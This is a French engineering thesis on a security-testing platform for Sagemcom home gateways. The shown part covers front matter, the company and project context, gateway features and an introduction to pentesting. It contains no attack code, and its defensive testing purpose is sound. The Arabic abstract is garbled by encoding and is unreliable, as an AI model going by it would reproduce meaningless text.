Rapportfinalcd 150312115923 Conversion Gate01

Ministère de l’Enseignement Supérieur
et de la Recherche Scientifique
  
Université de Carthage
  
Institut National des Sciences
Appliquées et de Technologie
Projet de Fin d’Etudes
Pour l’obtention du
Diplôme National d’Ingénieur

en Sciences Appliquées et en Technologie
Filière : Réseaux informatiques et télécommunications
Sujet :
Mise en place d’une solution de tests de sécurité pour

les passerelles résidentielles
Réalisé par : Salmen HITANA
Entreprise d’accueil :
Soutenu le 25/01/2012
Responsables entreprise : Raouf BEN SAÏD

Dorra BEN AMARA
Responsable INSAT: Kamel KAROUI
Année Universitaire : 2011/2012

‫إنشاء برمجية إختبارات السالمة المعلوماتية للعبارات المنزلية‬
‫ ٌُذرج هذا انعًم انذي أَجش فً شزكت سجاو كىو ضًٍ يشزوع خخى انذراساث انجايعٍت نهحصىل عهى شهادة‬:‫ملخص‬
‫ وٌهذف هذا انًشزوع إنى وضع يجًىعت يٍ إخخباراث انساليت انًعهىياحٍت‬.‫يهُذص فً انشبكاث اإلعاليٍت واإلحصاالث‬
‫ إٌ يىقع‬.)‫انخً حهذف إنى انخأكذ يٍ يقاويت انجسىر انًُشنٍت نههجًاث انًحخًهت يٍ قبم قزاصُت االَخزَج (أو انهاكزس‬
‫ ٌجعهه‬،‫انجسز انًُشنً فً انشبكاث وانذي ًٌثم َقطت وصم بٍٍ انشبكاث انخارجٍت (االَخزَج) وانشبكت انذاخهٍت فً انًُشل‬
،‫ خذيت انهاحف عبز االَخزَج‬،UPnP ،‫ انشبكت انسهكٍت و انالسهكٍت‬:‫يعزض نهكثٍز يٍ هجًاث انهاكزس عهى جًٍع انًحاور‬
.‫ اإلخخباراث سٍخى حجزبخها عهى يجًىعت يٍ انعباراث انًُشنٍت نهخأكذ يٍ فاعهٍخها‬.‫واجهاث انًسخخذو نخحكى‬
‫ ثغزة‬،‫ هجًت‬،‫ انهاكزس‬،‫ انعباراث انًُشنٍت‬،‫ انساليت انًعهىياحٍت‬:‫المفاتيح‬
Mise en place d’une solution de tests de sécurité pour les passerelles résidentielles
Résumé: Le présent travail, effectué au sein de l’entreprise "SagemCom", entre dans le cadre
du projet de fin d’études pour l’obtention du diplôme national d’ingénieur en Réseau
Informatique et Télécommunication. L’objectif de ce projet est la mise en place d’une
solution de tests de sécurité pour les terminaux résidentiels. Ces terminaux sont le cœur même
de tout réseau particulier ou professionnel. Conscient du fait que les passerelles sont
hautement exposées aux risques liés à la sécurité informatique, ce plan va couvrir des
scénarios envisageables et toucher à toutes les fonctionnalités de la passerelle (accès réseau,
Wifi, UPnP, VoIP, IHM). Ces tests seront finalement lancés sur une panoplie de produits
SagemCom (différents types des TRs) permettant de valider la pertinence de l’environnement
de test proposé.
Mots-clés : terminaux résidentiels, sécurité, pentesting, exploits, failles
Set up of a security test plan for residential gateways
Abstract: This work, done within the company "Sagemcom" is part of the project
for obtaining Computer and Network Engineer Telecommunication National Graduation. The
objective of this project is the establishment of a security testing solution for residential
terminals. These terminals are the heart of any particular or professional network. Aware that
the bridges are highly exposed to risks related to computer security, a test plan will
cover possible scenarios and touch all functionality of the gateway (network access, WiFi,
UPnP, VoIP, IHM). These tests will eventually be launched on a wide range of Sagemcom
products to validate the proposed test environment.
Key Word: Gateway, Security, hacking, pentesting, vulnerability
Intitule et adresse complète de l’entreprise :
Entreprise : SagemCom
Adresse : 34, avenue de Paris, 2033 Megrine, Ben Arous, Tunisie
Tél. : +216 71 297 100
Fax :
Email : stages-sst@sagemcom.com
Remerciements
u terme de ce projet de fin d’études, mes vifs
A remerciements sont dédiés à tous ceux qui ont

contribué, directement ou indirectement à l’élaboration
de ce projet.
En premier lieu, j’exprime ma gratitude au Docteur Kamel

KAROUI pour sa confiance, ses directives, ses conseils et pour
m’avoir accordé son temps.
Je voudrais également exprimer ma reconnaissance envers M.

Raouf BEN SAÏD et Mlle. Dorra BEN AMARA qui m’ ont
encadré pendant ce projet avec beaucoup de disponibilité.
Je voudrais témoigner par la suite ma reconnaissance à toutes

les personnes qui m’ont également fait bénéficier de leurs
conseils et de leurs expériences en particulier M. Zied TLILI,
ingénieur validation chez SagemCom.
Toutefois, il faut souligner que ce travail n’aurait pu voir le

jour sans le savoir faire acquis dans mon honorable institut
l’Institut National des Sciences Appliquées et de Technologie.
C’est donc avec une immense fierté que j’adresse mes
remerciements les plus distingués à tous mes enseignants.
Table des Matières
................................................................................................................... 1
...................................................................................................... 4
1.PRESENTATION DE L’ORGANISME D’ACCUEIL ............................................................ 4
1.1.SagemCom Tunisie .......................................................................................................................... 5
1.2.Sagemcom Software & Technologies ............................................................................................. 5
2.PRESENTATION DU PROJET ............................................................................................. 6
2.1.Contexte du projet............................................................................................................................ 6
2.2.Objectifs du projet ........................................................................................................................... 7
2.3.Planification du déroulement du projet ........................................................................................ 7
CONCLUSION ............................................................................................................................ 8
............................................................................................................. 9
1.LES TERMINAUX RESIDENTIELS ..................................................................................... 9
1.1.Présentation des Terminaux Résidentiels: .................................................................................... 9
1.2.Les TRs SagemCom ........................................................................................................................ 10
1.2.1.Accès internet haut débit...................................................................................................... 10
1.2.2.Téléphonie ............................................................................................................................. 10
1.2.3.TV sur IP ................................................................................................................................. 11
1.2.4.Connectivité ........................................................................................................................... 11
1.2.5.Autres utilitaires et services ................................................................................................ 12
2.TESTS DE PENETRATION (PENTESTING) ...................................................................14
2.1.Présentation du pentesting .......................................................................................................... 14
2.2.Types du « Pentesting » ................................................................................................................. 14
2.3.Pentesting : Méthodologie et standard ........................................................................................ 15
2.3.1.OSSTMM .................................................................................................................................. 15
2.3.2.OWASP .................................................................................................................................... 16
2.3.3.Autres standards et méthodologies: ................................................................................... 17
CONCLUSION ..........................................................................................................................17
..............19
1.MODULE RESEAU...............................................................................................................20
1.1.Ports, services et OS ....................................................................................................................... 20
1.1.1.Scan des ports ........................................................................................................................ 21
1.1.2.Scan des services ................................................................................................................... 25
1.1.3.Détection d’OS ....................................................................................................................... 26
Page i
Table des Matières
1.1.4.Outils de scan des ports ........................................................................................................ 26

1.2.Scan des vulnérabilités ................................................................................................................. 27
1.2.1.Types de scan des vulnérabilités ......................................................................................... 28
1.2.2.Outils de scan des vulnérabilités ......................................................................................... 29
1.3.Exploits et autres types d’attaques .............................................................................................. 33
1.3.1.Exploits ................................................................................................................................... 33
1.3.2.Autres types d’attaques ........................................................................................................ 33
2.MODULE UPNP ...................................................................................................................34
2.1.Présentation................................................................................................................................... 34
2.2.Risques et vulnérabilités ............................................................................................................... 35
2.3.Outils de tests ................................................................................................................................. 37
3.MODULE WIFI.....................................................................................................................38
3.1.Présentation................................................................................................................................... 38
3.3.Outils de tests ................................................................................................................................. 40
4.MODULE VOIP ....................................................................................................................41
4.1.Présentation................................................................................................................................... 41
4.2.Protocole VoIP................................................................................................................................ 41
4.4.Outils de tests ................................................................................................................................. 44
CONCLUSION ..........................................................................................................................45
.........................................................................................46
1.ENVIRONNEMENT DE TEST ............................................................................................47
1.1.Environnement matériel ............................................................................................................... 47
1.2.Environnement logiciel ................................................................................................................. 47
1.2.1.Les systèmes d’exploitation dédiés sécurité ...................................................................... 47
1.2.2.Choix du système d’exploitation le plus adéquat .............................................................. 48
1.3.Architecture réseau de la plateforme de tests............................................................................. 49
2.MODULE RESEAU...............................................................................................................50
2.1.Scan des ports, services et OS........................................................................................................ 50
2.1.1.Outils de tests......................................................................................................................... 50
2.1.2.Tests réalisés ......................................................................................................................... 51
2.1.3.Profils de scan Zenmap ......................................................................................................... 55
2.2.Scan des vulnérabilités ................................................................................................................. 56
2.2.1.Scanneurs des vulnérabilités automatiques ...................................................................... 57
2.2.2.Scanneurs des vulnérabilités Web ...................................................................................... 60
Page ii
Table des Matières
2.3.Attaques et exploits ....................................................................................................................... 62

2.3.1.Outils de tests ........................................................................................................................ 63
2.3.2.Tests réalisés ......................................................................................................................... 63
2.3.3.Anciennes attaques ............................................................................................................... 71
3.MODULE UPNP ...................................................................................................................73
3.1.Présentation des tests ................................................................................................................... 73
3.2.Tests realisés.................................................................................................................................. 73
4.MODULE WIFI.....................................................................................................................75
4.2.Tests réalisés.................................................................................................................................. 76
4.MODULE VOIP ....................................................................................................................78
4.2.Tests réalisés.................................................................................................................................. 78
4.2.1.Déni de service....................................................................................................................... 78
4.2.2.Vol de session......................................................................................................................... 79
CONCLUSION ..........................................................................................................................80
...............................................................................81
...................................................................................................................82
..............................................................................................................................85
............................................................................................... 88
............................................................................. 89
....................................................................... 89
............................................ 91
................................................................ 92
Page iii
Liste des Figures
Figure 1 : Logo SagemCom ................................................................................................................4
Figure 2 : Organigramme de SagemCom .............................................................................................5
Figure 3 : Produits SagemCom ............................................................................................................6
Figure 4 : Diagramme de Gantt représentant les principales étapes du projet .......................................8
Figure 5 : Connectivité et services des TRs SagemCom..................................................................... 11
Figure 6 : TCP Scan (sur un port ouvert) ........................................................................................... 22
Figure 7 : SYN Scan (sur un port ouvert) .......................................................................................... 22
Figure 8 : Fin Scan (sur un port ouvert) ............................................................................................. 23
Figure 9 : XMAS Scan (sur un port ouvert) ....................................................................................... 23
Figure 10 : TCP Null Scan (sur un port ouvert) ................................................................................. 23
Figure 11 : Utiliser un port source autorisé pendant le scan ............................................................... 24
Figure 12 : Scan ACK ....................................................................................................................... 24
Figure 13 : Evaluation des resultats ................................................................................................... 32
Figure 14 : Temps d'exécutions du scan ............................................................................................ 32
Figure 15 : Principaux profils UPnP et actions .................................................................................. 35
Figure 16 : Redirection vers une autre adresse locale ......................................................................... 36
Figure 17 : Redirection vers l'adresse locale du TR ........................................................................... 36
Figure 18 : Redirection vers une autre adresse WAN ......................................................................... 37
Figure 19 : Exemple d'appel .............................................................................................................. 43
Figure 20 : Logo BackTrack ............................................................................................................. 48
Figure 21 : Menu BackTrack............................................................................................................. 49
Figure 22 : Architecture réseau de la plateforme de test ..................................................................... 49
Figure 23 : Profil Zenmap ................................................................................................................. 51
Page iv
Liste des Figures
Figure 24 : Résultat d’un simple scan des ports et services ................................................................ 54
Figure 25 : Exemple détection d'OS .................................................................................................. 55
Figure 26 : Page de connexion .......................................................................................................... 58
Figure 27 : Créer profile.................................................................................................................... 58
Figure 28 : Configuration des plugins................................................................................................ 59
Figure 29 : Exemple du résultat ......................................................................................................... 60
Figure 30 : Exemple Fuzzing ............................................................................................................ 61
Figure 31 : Architecture réseau de l'attaque ....................................................................................... 64
Figure 32 : Fenetre XCHAT (Administrateur) ................................................................................... 64
Figure 33 : Interface LOIC ................................................................................................................ 65
Figure 34 : Lancement de l'attaque .................................................................................................... 66
Figure 35 : Capture de trafic lors de l'attaque..................................................................................... 71
Figure 36 : Attaque à base de l’IP Spoofing....................................................................................... 72
Figure 37 : Détection des équipements UPnP sur le réseau ................................................................ 74
Figure 38 : Action AddPortMapping ................................................................................................. 74
Figure 39 : Actions GetSpecificPortMapping et GetGenricPortMapping............................................ 75
Figure 40 : Capture de messages de signalisation (SIP) ..................................................................... 79
Page v
Liste des Tables
Tableau 1 : Règles du pare-feu .......................................................................................................... 12
Tableau 2 : Classification OSSTMM ................................................................................................. 16
Tableau 3 : Etat du port par type du scan et réponse .......................................................................... 25
Tableau 4 : Tableau comparatif des outils de scan ............................................................................. 27
Tableau 5 : Tableau comparatif des scanneurs des vulnérabilités automatiques. ................................. 31
Tableau 6 : Liste des outils et leurs critères. ...................................................................................... 31
Tableau 7 : Requêtes SIP .................................................................................................................. 42
Tableau 8 : Codes de réponses SIP .................................................................................................... 42
Tableau 10 : Tests owasp réalisés ...................................................................................................... 61
Tableau 11 : Liste des tests ............................................................................................................... 88
Page vi
Introduction
’est en pleine guerre froide que l’internet est née, est ce pour maintenir les
C télécommunications opérationnelles et parées à toute épreuve en cas d’une apocalypse des

suites de l’exécution des menaces Américano-Russe sur le monde: La grande phobie, était à
l’époque, une attaque nucléaire... Heureusement pour le monde, rien ne fût…
En 1969, le réseau internet comptait alors, uniquement quatre machines et était restreint,
limité, et bien sur fermé sur le monde extérieur. Avec l’amélioration des équipements et des
technologies de communication, l’internet était de moins en moins une innovation réservée à une élite
de militaires et de scientifiques et s’ouvrait peu à peu au grand public et ce avec la naissance du
premier réseau international à aiguillage de paquets en 1978, l’adoption d’un protocole unique de
transport -TCP/IP- en 1983 et du web en 1989 [1] et de la montée de l’intérêt commercial qu’offrait
une pareille technologie.
C’est ainsi qu’en 1989 que le premier fournisseur d’accès internet via le réseau téléphonique
vit le jour : la compagnie Américaine The World avait alors ouvert la voie à une véritable explosion de
fournisseurs de services internet partout dans le monde [2] qui proposaient à leurs clients des débits de
plus en plus élevés, et ce en jouant sur les technologies d’accès internet, ainsi que des services de plus
en plus diversifiés.
En effet, l’évolution des technologies de transmission de données telles que l’image et le son
ainsi que la multitude d’innovations et d’inventions qui ont vu le jour à l’égard des passerelles
résidentielles, des téléphones sur IP, des décodeurs IP, des téléphones intelligents et autres tablettes…
tous capable de se connecter au réseaux de données mondial à totalement bouleversé l’expérience des
utilisateurs de l’Internet.
Ainsi de nos jours, les fournisseurs d’accès internet (FAI) offrent plusieurs services autres que
le simple accès à internet dont le fameux Triple Play, qui n’est rien de plus qu’une offre commerciale
et dont le succès n’est plus à prouver : plus de vingt millions d’abonnés, rien qu’en France [3]. Cette
offre inclut l’accès à internet, la téléphonie sur IP et la télévision numérique sur IP, indépendamment
de la technologie de transport utilisée par l’opérateur pour connecter son client au réseau Internet.
Pour parvenir à leurs fins, les FAI commercialisent très souvent leurs offres avec une
passerelle résidentielle adaptée aux services qu’ils désirent proposer ainsi qu’aux types de
technologies qu’ils possèdent pour le bon acheminement et fonctionnement de ces derniers. La
Page 1
Introduction
passerelle en question, sera alors, le véritable cœur de tout le réseau local et la borne de tous les
services utilisés par le client final.
En fait, la passerelle résidentielle permet de partager la connexion à Internet entre tous les
ordinateurs du réseau avec ou sans câbles. Elle permet également de connecter des téléphones et
terminaux analogiques pour accéder à des services de téléphonie sur IP (VoIP) et ce via la ligne
d’accès (XDSL, FTTH, Câble, etc). De plus, des équipements comme les décodeurs peuvent être
connectés à ces terminaux pour offrir des services supplémentaires comme la Télévision et la Vidéo à
la Demande (ou ultérieurement la visiophonie).
Cette multitude de services proposés et connectés en permanence au réseau Internet pose de

plus en plus le problème de la sécurité informatique vu la diversification des services tournant sur la
passerelle et sur les différents éléments du réseau local du client ainsi que suite aux constats suivants :
- la protection des systèmes informatiques, vis-à-vis des menaces planant sur ces derniers
suite à leur ouverture sur le monde numérique, est loin d’être parfaite.
- le nombre d'incidents et de vulnérabilités ne cesse de croître [4]. Cette augmentation n’a

malheureusement pas été accompagnée par des contre-mesures adéquates au niveau des
particuliers et des entreprises puisque, d’une part, ils n'appliquent pas une politique de
sécurité efficace pour protéger leurs systèmes informatiques faute de sensibilisation aux
risques encourus et d’autre part, ils sont incapables de suivre le rythme d’apparition des
vulnérabilités vu que les mécanismes de sécurité traditionnels sont aujourd’hui, de plus en
plus, contournés.
Dans un pareil contexte la passerelle résidentielle doit être le premier rempart contre les risques
sécuritaires provenant de l’internet.
Par conséquent, et dans le souci de construire des équipements dont la sécurité n’est non
seulement infaillible mais aussi le plus à jour possible et de les proposer à ces principaux clients,
Sagemcom, constructeur de passerelles résidentielles de renommée mondiale et un des principaux
fournisseurs des FAI tel que Orange (France, Tunisie) , Bouygues Telecom (France), Deutsch
Telekom (Allemagne), TDC ( Danemark) , Bell Canada ( Canada ), etc, se propose de mettre en place
une solution de test de sécurité et de pénétrations pour ses terminaux afin de garantir leur bon
fonctionnement et leur haute disponibilité face à des attaques connues lors des phases de
développement et de validation des produits.
Et c’est dans ce cadre, que se situe notre projet de fin d’études, effectué au sein de la société
SagemCom qui a pour objectif d’établir l’étude, le benchmarking et la mise en place de plusieurs
Page 2
Introduction
outils d’audit de sécurité ainsi que l’élaboration d’un plan de tests couvrant les principales failles et
risques connus.
Le présent rapport organisé en quatre chapitres, présente les différentes étapes du déroulement
du projet. Dans un premier temps une présentation du contexte du projet illustre notre travail. Le
deuxième chapitre est consacré à la présentation des terminaux résidentiels ainsi que les tests de
sécurité ou le pentesting. Le troisième chapitre sera réservé à la description des différents modules
présents sur les passerelles résidentielles, les risques qui se posent et le benchmarking des outils
possibles pour réaliser des tests de pénétration sur celles ci. Finalement, le quatrième chapitre, est
consacré à la mise en place de notre solution de tests de sécurité des passerelles résidentielles.
Page 3
Chapitre 1 Contexte du projet
Ce premier chapitre est consacré à la présentation du contexte général du projet. Le travail

ayant été réalisé au sein de la société SagemCom, nous commencerons donc, par une présentation
générale de l‘organisme d‘accueil. Ensuite, nous entamerons une description de notre projet afin
d’expliciter son contexte, son objectif ainsi que les différentes étapes identifiées afin de parfaire notre
ce stage.
1. Présentation de l’organisme d’accueil
Figure 1 Logo SagemCom
Groupe français de haute technologie à dimension internationale, Sagemcom opère sur les
marchés du haut-débit (maison numérique, décodeurs, box Internet, téléphonie et terminaux
Page 4
multimédia), des télécoms, de l’énergie (M2M1, infrastructures télécoms, compteurs communicants et

management de l’énergie) et de la gestion de documents (terminaux d’impression, logiciels et
solutions, dématérialisation). Le groupe Sagemcom est composé d'une soixantaine d'entités, présentes
dans plus de 40 pays. En Afrique, la seule entité est implémentée en Tunisie, SagemCom Tunisie et
SagemCom Software & Technologies. Ci-dessous l’organigramme de SagemCom :
Figure 2 Organigramme de SagemCom
1.1. SagemCom Tunisie

SagemCom est une nouvelle unité industrielle offshore, spécialisée dans l’électronique et les
équipements de télécommunications. Elle a été officiellement inaugurée le 10 juin 2003 à « Ben Arous
». Cette unité produit essentiellement des récepteurs à télécommande centralisée, des câbles en fibres
optiques et des cartes magnétiques (5 millions de cartes par an) et 1,5 million de produits finis. L’unité
emploie plus de 1600 personnes dont plus de 270 ingénieurs et techniciens supérieurs.
SagemCom est aussi un acteur majeur dans les domaines de la communication mobile et de la
communication haut débit, ayant acquis des positions mondiales grâce à un fort potentiel d’innovation.
1.2. Sagemcom Software & Technologies

Sagem Software et Technologies (SS&T) est un centre de recherche et de développement qui a
été créé le 18 juillet 2005. Elle opère dans le domaine des télécommunications, du traitement et de la
transmission numérique de l’information et des développements axés sur les technologies émergentes.
Cette cellule internationale emploie plus de 350 ingénieurs spécialisés dans :
1
M2M : Le concept de machine to machine, utilise les télécommunications et l'informatique pour permettre des
communications entre machines, et ceci sans intervention humaine.
Page 5
 La conception et le développement de logiciels pour les décodeurs TV numériques sous

Linux embarqué.
 Le développement des Drivers Windows et des logiciels d’installation des équipements
Sagemcom à l’égard des terminaux d’impression.
 Le test, l’intégration et la validation d’équipements et de systèmes de télécommunications
dont les passerelles résidentielles.
Figure 3 Produits SagemCom
2. Présentation du projet
Au cours de cette section, nous présentons le contexte de notre projet et ses objectifs. Le
planning du travail est détaillé par la suite.
2.1. Contexte du projet

Les terminaux résidentiels Sagemcom offrent des solutions à haute connectivité moyennant
diverses technologies d’accès et une multitude de services. Ces terminaux sont le cœur même de tout
réseau particulier ou professionnel. Conscient du fait que les passerelles sont hautement exposées aux
risques liés à la sécurité informatique (le piratage, l’intrusion et l’ingénierie inverse, etc) et afin de
proposer des produits hautement sécurisés à ses clients particuliers et professionnels, Sagemcom
propose d’élaborer, au sein d’un projet de fin d’études, le benchmarking, l’étude et la mise en place de
plusieurs outils de tests de sécurité. Ce projet sera concrétisé par la mise en place d’un plan de test
couvrant les principales failles et risques connus se basant sur l’état de l’art actuel. Ainsi que la mise
en place des outils choisis, dans une position de test.
Un plan de test sera finalement lancé sur une panoplie de produits Sagemcom permettant de
valider la pertinence de l’environnement de test proposé. Suite aux résultats obtenus, une analyse
objective devra être établie en vue de dégager les points forts et faibles de la solution choisie, ainsi que
la pertinence des résultats des tests effectués.
Page 6
2.2. Objectifs du projet

Afin d’atteindre l’objectif principal du projet, qui consiste à la mise en place d’une plateforme
de tests de sécurité et la définition d’un plan de tests qui couvre la quasi-totalité des failles et
vulnérabilités possibles sur les Terminaux résidentiels, il faut assurer les sous-objectifs suivants :
 Etablir un état de l’art en matière de piratage, intrusion, rétro ingénierie, etc touchant les
principaux axes de connectivités et des services offerts par les passerelles résidentielles.
 Etablir une liste d’outils libres assurant le déploiement des attaques déterminées par l’état de
l’art et par la suite réaliser un comparatif des outils disponibles et se fixer des choix optimums
basés sur l’efficacité, la facilité de déploiement, la personnalisation, la popularité, etc.)
 Dégager un plan de test clair assurant un test complet des produits sous tests. Ce plan va
couvrir jusqu’à 90% des scénarios envisageables et toucher à toutes les fonctionnalités de la
passerelle (accès réseau, Wifi, UPnP, VoIP, IHM)
 Déployer les outils sur une position de test et les personnaliser pour répondre aux besoins de
sécurité soulevés dans les premiers chapitres et assurer une couverture optimale en adéquation
avec le plan de tests défini.
 Dérouler une campagne de tests, sur au moins trois produits, basé sur le plan de test défini et
les outils mis en place. Une analyse des résultats va être établie et une critique objective sera
portée sur la plateforme et le plan de test en vue de la raffiner et réajuster, s’il est nécessaire.
2.3. Planification du déroulement du projet

Ce projet est divisé en cinq parties :
 Etape 1 : Documentation sur les passerelles résidentielles (produits Sagemcom)

 Etape 2 : Etude sur les différents attaques et failles possibles sur les TRs.
 Etape 3 : Choix d’une liste d’outils assurant les attaques déterminées dans l’état de l’art et la
mise en place d’une plateforme de tests de sécurité
 Etape 4 : Définition d’un plan de test clair qui couvre les services cibles d’attaques et qui
assure un audit complet des produits sous tests.
 Etape 5 : Déroulement d’une campagne basée sur le plan de test défini.
En vue de modéliser cette organisation, nous avons eu recours à l’outil de gestion de projet SodeaSoft
Gnt Planning (Voir figure 4).
Page 7
Figure 4 Diagramme de Gantt représentant les principales étapes du projet
Conclusion
Dans ce premier chapitre, nous avons présenté la société SagemCom. Ensuite Nous avons
détaillé le cadre du projet, et expliciter la problématique à résoudre. Finalement, nous avons décrit les
différentes étapes du projet. Le chapitre suivant sera donc consacré aux notions de base relatives à
notre projet, notamment la description des terminaux résidentiels et les notions relatives aux tests de
pénétrations ou en terme anglo-saxon le pentesting.
Page 8
Chapitre 2 Concepts de base
Dans ce chapitre, nous entamerons par une description des passerelles résidentielles (ou
terminaux résidentiels), de leurs caractéristiques fonctionnelles et de leur importance grandissante
dans la vie quotidienne, grâce entre autres à leur rôle dans toute offre d’accès aux services Internet. Par
la suite, nous présenterons les tests de pénétrations, en mettant en évidence leur intérêt, vu la haute
exposition des passerelles aux risques liés à la sécurité informatique.
1. Les terminaux résidentiels
1.1. Présentation des Terminaux Résidentiels:

Un Terminal résidentiel (TR) ou passerelle est un point du réseau qui agit comme une entrée
vers un autre réseau. Dans un réseau d’entreprise ou domestique, les passerelles offrent l’accès aux
utilisateurs du réseau local vers le réseau WAN (internet). Une passerelle typique contient des
fonctionnalités basiques pour une utilisation simple, ainsi elle offre au moins un ensemble des services
suivants:
 Accès internet via fibre optique (FTTH) ou ligne xDSL.

 Réseau local câblé et point d’accès WIFI pour assurer la connectivité entre plusieurs
équipements (ordinateur portable, Tablet PC, Smart phone, etc).
Page 9
 DHCP (Dynamic Host Configuration Protocol) pour offrir une configuration de réseau
TCP/IP fiable et simple, empêchant les conflits d'adresses et permettant le contrôle de
l'utilisation des adresses IP de façon centralisée.
 NAT (Network Address Translation) pour déployer ou héberger des applications et des
services au sein d’un réseau local afin de les rendre accessibles de l’extérieur.
 Firewall pour sécuriser le réseau local des attaques provenant de l’internet.
En plus de ces fonctionnalités basiques, les TRs offrent aussi les services suivants, selon les exigences
du fournisseur d’accès internet et de ses abonnés :
 Voix sur IP (VoIP).

 Service TV sur IP.
 DNS dynamique pour permettre l’accès à distance à un quelconque service hébergé en local
par l’utilisateur.
 UPnP pour interconnecter d’autres équipements tels que les périphériques de stockage,
console de jeux, téléphone UPnP, etc.
1.2. Les TRs SagemCom

Comme étant un leader mondial sur le marché des terminaux, SagemCom conçoit, produit et
met à disposition des opérateurs et des fournisseurs de services internet une gamme complète de home
Gateway permettant de mettre en œuvre de services d’accès haut débit et de solutions pour le réseau
numérique local [5]. Dans ce qui suit, nous allons introduire et décrire les différents modules et
fonctionnalités principalement offertes par ces TRs (Voir figure 5).
1.2.1. Accès internet haut débit

Doté d’une interface WAN universel (ADSL / ADSL2 / ADSL2+/VDSL2 et FTTH), les TRs
SagemCom permettent à son utilisateur de bénéficier d’un accès internet haut débit atteignant les 100
Mo/s pour exploiter les nouvelles technologies telles que la télévision et la téléphonie via internet etc.
1.2.2. Téléphonie
Les TRs SagemCom implémentent diverses technologies de téléphonie telles que la téléphonie
classique, fax compris, et la Voix sur IP. Pour exploiter ces technologies les TRs SagemCom offrent
aux utilisateurs la possibilité de connecter plusieurs types d’appareils téléphoniques (IP Phone, DECT,
téléphone, Fax).
Page 10
Figure 5 Connectivité et services des TRs SagemCom
1.2.3. TV sur IP
Les TRs SagemCom offrent la possibilité de s’abonner à des flux IP TV. Via une SetTopBox
connectée au TR l’utilisateur peut visualiser des flux vidéo soit en multicast soit à la demande (VOD).
1.2.4. Connectivité
Réseau local câblé
Les TRs SagemCom offre une solution complète pour l’interconnexion entre les différents
équipements via les interfaces Ethernet disponibles.
Page 11
Réseau sans fil (WIFI)

Les TRs SagemCom offrent la possibilité d’interconnecter les périphériques sans fils via le
WIFI. Ces TRs utilisent les trois normes connues du WIFI 802.11 b/g/n avec un débit qui peut
atteindre les 300MO/sec.
USB
Afin d’assurer la connectivité des différents équipements multimédia (imprimante, disque dur,
console de jeux, etc), les TR SagemCom utilise le protocole UPnP ainsi qu’un serveur DLNA pour le
partage de contenus multimédias.
1.2.5. Autres utilitaires et services

DHCP
Le TR SagemCom est à la fois un client DHCP et un serveur DHCP. A la mise sous tension,
le TR, comme étant un client DHCP, récupère les paramètres de connexion de son fournisseur d’accès
internet tels que l’adresse IP publique, la passerelle par défaut, le serveur DNS, le serveur NTP, etc.
Comme étant un serveur DHCP, le TR fournit aux équipements connectés à travers le réseau
local (sans fil et câblé) des paramètres de connexion tels que la plage d’adresse à utiliser, la passerelle
par défaut, etc.
Firewall
Afin d’assurer la sécurité du réseau local et le protéger des attaques provenant de l’extérieur,
les TRs SagemCom implémentent un pare-feu logiciel assurant trois niveaux de sécurité:
Trafic trafic
Niveau de sécurité remarque
entrant sortant
pour le trafic sortant, sauf pour les services suivants HTTP,
Elevé rejeter rejeter
HTTPS, Telnet, FTP, DNS, IMAP, POP3, SMTP.
Moyen rejeter accepter -
Bas accepter accepter -
Tableau 1 Règles du pare-feu
DMZ
La DMZ ou une zone démilitarisée est un sous-réseau séparé du réseau local et isolé de celui-
ci et d'Internet par un pare-feu. Ce sous-réseau contient les machines étant susceptibles d'être accédées
depuis Internet. Les TRs SagemCom offrent ce service d’une façon limitée, où on ne peut configurer
qu’un seul PC comme DMZ (une seule adresse IP et non pas un sous réseau).
Page 12
Port Forwarding
Le Port Forwarding ou redirection de port consiste à rediriger les paquets reçus d’un
ordinateur sur un port bien défini vers un autre ordinateur sur un autre port donné. Le Port Forwarding
est la combinaison de trois techniques :
 La translation d’adresse ou/et du port dans les paquets reçues vers une autre destination.
 L’acceptation des quelques paquets en se basant sur les règles du pare-feu.
 Le routage des paquets suivant le table de routage.
DNS dynamique
Le DNS dynamique est une méthode qui permet à un utilisateur d’attacher un nom de domaine
à une adresse IP WAN (reçue de la part du FAI) sans se préoccuper du changement de cette adresse.
Ainsi, on peut héberger un serveur web, ftp ou n’importe quelle autre application internet dans le
réseau local et y accéder à travers ce nom de domaine. Cette fonctionnalité est configurable d’une
façon très simple, il suffit de choisir le fournisseur de service (no-ip, DynDns.org,…) et de donner le
login, le mot de passe et le nom de domaine personnel.
Configuration et approvisionnement automatique de services

La gamme des services offerts par les TRs devient de plus en plus complexe et par conséquent
elle impacte la simplicité de la configuration à distance. L’intégration des technologies TR-069 facilite
l’installation et l’approvisionnement automatique des services. La configuration et la mise à jour du
TR se fait à distance et d’une façon automatique selon le contrat entre l’abonné et son FAI. Cette
fonctionnalité est très importante pour les deux parties du contrat pour plusieurs raisons, parmi
lesquelles on cite :
 La facilité de la tâche de configuration pour l’abonné.

 L’activation ou la désactivation des services selon le contrat.
Interface d’administration
 Interface WEB ou GUI : les TRs SagemCom offre un site web en local pour la
configuration. L’accès se fait par un navigateur (Firefox, chrome, etc) en introduisant un login
et un mot de passe.
 Telnet : Via un PC connecté en local, un utilisateur (avancé) peut accéder au TR à travers
Telnet pour l’administrer et le configurer.
 SSH : un utilisateur peut accéder d’une façon sécurisée avec SSH pour administrer et
configurer le TR.
Page 13
2. Tests de pénétration (Pentesting)

Vu que les TRs SagemCom offrent des solutions à haute connectivité à travers ses services, ils
sont hautement exposés aux risques liés à la sécurité informatique. Il est indispensable de vérifier leur
immunité face à ces risques réels et consistants. Pour cela, on a recours à des normes et des standards
dans le domaine de la sécurité informatique afin de remplir cette tâche.
2.1. Présentation du pentesting

Les tests de pénétration ou « Pentesting » est un ensemble de tests traduisant une méthode
d'évaluation de la sécurité d'un système informatique ou réseau en simulant une attaque malicieuse de
l’extérieur et les employés malveillants de l’intérieur. Le processus implique une analyse active du
système pour toutes les vulnérabilités potentielles qui pourraient résulter de la faiblesse de la
configuration du système et des défaillances liées aux défauts connus du hardware ou du software
utilisés. Cette analyse est effectuée en simulant un attaquant potentiel et peut dégager des exploitations
et des vulnérabilités au sein du système.
Les problèmes liés à la sécurité du système révélés à travers les tests de pénétration sont
présentés au propriétaire. Afin de réaliser des tests efficaces, le « Pentester » doit fournir des
évaluations précises et concrètes des impacts potentiels à l'organisation et définir la gamme des contre-
mesures techniques et procédurales pour réduire les risques.
Les tests de pénétration sont importants pour plusieurs raisons:
 Déterminer la faisabilité d'un ensemble d'attaques.

 Identifier les vulnérabilités à haut risque qui résultent d'une combinaison de quelques
vulnérabilités, de faible et de moyen risque, exploitables dans un ordre particulier.
 Identifier les vulnérabilités qui peuvent être difficiles ou impossibles à détecter avec des outils
d’auto-évaluation des vulnérabilités.
